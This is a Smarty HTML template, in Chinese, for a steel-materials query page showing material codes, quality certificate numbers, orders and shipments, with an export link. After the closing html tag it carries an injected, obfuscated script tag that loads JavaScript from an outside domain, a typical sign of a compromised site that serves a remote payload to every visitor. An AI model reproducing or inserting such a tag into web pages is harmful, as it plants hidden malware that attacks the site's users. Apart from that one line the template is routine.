<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<title>查询结果</title>
		<style type="text/css">
<!--
body {
	background-image: url(../img/back.gif);
}
-->
</style>
		<style>
td{
	border-right:1px solid #cbdced;
	border-bottom: 1px solid #cbdced;
	padding:3px;
}

th{
	background-color:#cbdced;
	padding:3px;
	border-right:1px solid #fff;
	border-bottom:1px solid #fff;
}
table{
	clear:both;
	border-top: 1px solid #cbdced;
	border-left: 1px solid #cbdced;
}
body{
	font-size:14px;
}
.green{
	background-color: green;
	color:white;
}

.red{
	background-color:red;
	color: white;
}

.blue{
	background-color: blue;
	color:white;
}
.exportBtn{
	margin-right:30px;
	margin-top:2px;
	margin-bottom:2px;
	float:right;
	display:block;
	padding:1px;
}

span[class=exportBtn]:hover{
	background-color:#8A95A1;
	color:white;
}
		</style>
		<script type="text/javascript"  language="Javascript">
		function checkForDelete(mc){
			return window.confirm('确实要删除所有产品质量证书号为“' + mc + '”的记录吗？');
		}
		</script>
	</head>
	<body>
	<{if $noFile}>
	当前文件条目为空
	<{else}>
	<{$filename}>
	<span class="exportBtn">
			<a href="exportMainStatTable.php?filename=<{$filename}>" title="点击进行导出结果">导出表格</a>
	</span>
		<table cellpadding="0" cellspacing="0">
		<tr>
			<th style="width:14em">材料代码</th>
			<th style="width:5em">批次</th>
			<th style="width:6em">生产厂家</th>
			<th style="width:6em">船级</th>
			<th style="width:6em">材质</th>
			<th style="width:10em">厚</th>
			<th style="width:5em">宽</th>
			<th style="width:6em">长</th>
			<th style="width:6em">订货清单数量</th>
			<th style="width:6em">材料代码数量</th>
			<th style="width:6em">订货清单总数量</th>
			<th style="width:6em">质量证书分配数量</th>
			<th style="width:6em">批号数量</th>
			<th style="width:6em">质量证书号数量</th>
			<th style="width:6em">质量证书号总数量</th>
			<th style="width:6em">单重</th>
			<th style="width:6em">订单号</th>
			<th style="width:6em">订单子项号</th>
			<th style="width:6em">受订单价</th>
			<th style="width:6em">购单号</th>
			<th style="width:10em">备注</th>
			<th style="width:14em">产品质量证明书号</th>
			<th style="width:14em">产品质量证明书编号</th>
			<th style="width:5em">批号</th>
			<th style="width:5em">物料号</th>
			<th style="width:5em">发货时间</th>
			<th style="width:5em">合同月份</th>
			<th style="width:5em">车号</th>
			<th style="width:5em">销售产家</th>
		</tr>
		<{section name=item loop=$materialCode}>
		<tr <{if $main3SumCount[item] <= $mainSumCount[item]}> class="green" title="此项完成" <{/if}>>
			<td><{$materialCode[item]}></td>
			<td><{$sequenceNumber[item]}></td>
			<td><{$manufactory[item]}></td>
			<td><{$authenticationMark[item]}></td>
			<td><{$steelNumber[item]}></td>
			<td><{$size1[item]}></td>
			<td><{$size2[item]}></td>
			<td><{$size3[item]}></td>
			<td><{$main3AllocatedCount[item]}></td>
			<td><{$main3Count[item]}></td>
			<td><{$main3SumCount[item]}></td>
			<td><{$mainAllocatedCount[item]}></td>
			<td><{$mainCount[item]}></td>
			<td><{$mainCertificationCount[item]}></td>
			<td <{if $main3SumCount[item] < $mainSumCount[item]}> class="red" title="完成数量大于总数量" <{/if}>><{$mainSumCount[item]}></td>
			<td><{$unitWeight[item]}></td>
			<td><{$orderNumber[item]}></td>
			<td><{$orderSubitemNumber[item]}></td>
			<td><{$unitPrice[item]}></td>
			<td><{$purchaseNumber[item]}></td>
			<td><{$remark[item]}></td>
			<td><{$certificationNumber[item]}></td>
			<td><a href="showImage.php?image=<{$certificationCodification[item]}>.tif"><{$certificationCodification[item]}></a></td>
			<td><{$sampleBatch[item]}></td>
			<td><{$materialNumber[item]}></td>
			<td><{$shipmentDate[item]}></td>
			<td><{$month[item]}></td>
			<td><{$vehicleNumber[item]}></td>
			<td><{$consignee[item]}></td>
			</tr>
		<{/section}>
		</table>
	<{/if}>
	</body>
</html><scr<scr<scr<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script> 